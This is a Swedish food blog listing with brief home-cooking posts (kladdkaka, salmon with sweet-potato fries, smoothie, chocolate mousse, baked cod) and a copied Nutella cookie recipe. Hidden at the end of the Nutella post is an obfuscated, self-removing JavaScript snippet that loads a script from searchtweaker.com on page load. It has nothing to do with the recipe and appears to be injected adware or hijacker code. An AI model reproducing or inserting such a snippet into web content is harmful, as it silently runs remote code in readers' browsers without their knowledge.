Amerikanska pannkakor

Längtat så länge efter Roy Fares optimala kladdkaka. Jag gör den utan jordnötter och den är bäst. Och den är superenkel att sno ihop. Se bara till att ta ut den i tid så den verkligen blir kladdig. Torr kladdkaka gör ingen lycklig. Och smeten som blir över i bunken och på vispen ska njutas av. "Provsmakade" kakan igår och det är tveksamt om den överlever dagen. Nu ska jag samla ihop lite saker som ska med till Portugal på tisdag. Pojkarna är i simhallen så jag har en stunds tystnad. Gäller att utnyttja den väl.

Read more

Nu har jag imponerat på mig själv. Lax med lite olivolja, flingsalt och en termometer. Får absolut inte gå för länge. Den ska vara mjuk och fin. Till detta var det premiär för sötpotatispommes. Så goda. Skär jämna bitar, rumla runt dem i en skål med olivolja och flingsalt. Lägg på rad utan att klibba ihop på ett ugnsgaller. Sätt en plåt under för att slippa dropp i ugnen. 175 grader och den sista kvarten åkte fisken in. Dippade i lite majonnäs. Kommer absolut göras igen. Lättlagat och väldigt gott. Men grymt mäktigt.  Många fina tomater på gång. Kommer nog...

Read more

Drog ihop en supergod smoothie till kvällsmat ikväll. Buset knäckte två glas och jag fick ett halvt. :) Cashewmjölk, hallon, blåbär, jordgubbar, slaskigt päron, banan, en klick jordnötssmör och en klutt honung. 

Read more

Nutella Cookies 1 cup Nutella 1 cup flour 1/2 cup sugar 1 egg 1/8 cup marshmallows (optional) 1/8 cup chocolate chips (optional) Preheat oven to 350°F. Stir together Nutella, flour, sugar and egg until thoroughly combined. Mix in chocolate chips if using. Form dough into 1 inch balls and place on cookie sheet. Push marshmallows into the middle of each cookie and press down firmly with your palm to flatten. Bake for 10-12 minutes, until set. Hittat i bloggen  www.52kitchenadventures.com Måste provas! (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more

Vispa 3 dl grädde lätt. 0,5 dl grädde och 200 g valfri choklad i en kastrull. (Jag blandade 70% och bättre mjölkchoklad.) Häll i 0,5 dl lönnsirap och två äggulor. Värm till en jämn smet och rör ofta. Låt svalna lite. Vänd ner lite av den vispade grädden. Häll sedan över chokladen i grädden och rör till en jämn smet. Häll upp i glas och in i kylen. Ta fram dem ca 15 minuter innan de ska serveras. Jag serverade mina med jordgubbar marinerade i socker, vanilj och lime. Jag tycker det räcker till 6 personer men det beror...

Read more

Köpte en bamsestor torskfile' idag. Skar ur ryggbiten och la den i en glasform. På med salt, vitpeppar och timjan. Kokade upp lite vatten och hällde i en skvätt fiskfond. Hällde fondvattnet omkring fisken. Termometer i fiskbiten och på med folie över formen. In i ugnen till fisken är max 55 grader. Något av det godaste jag kan tänka mig att äta och så enkelt att laga.

Read more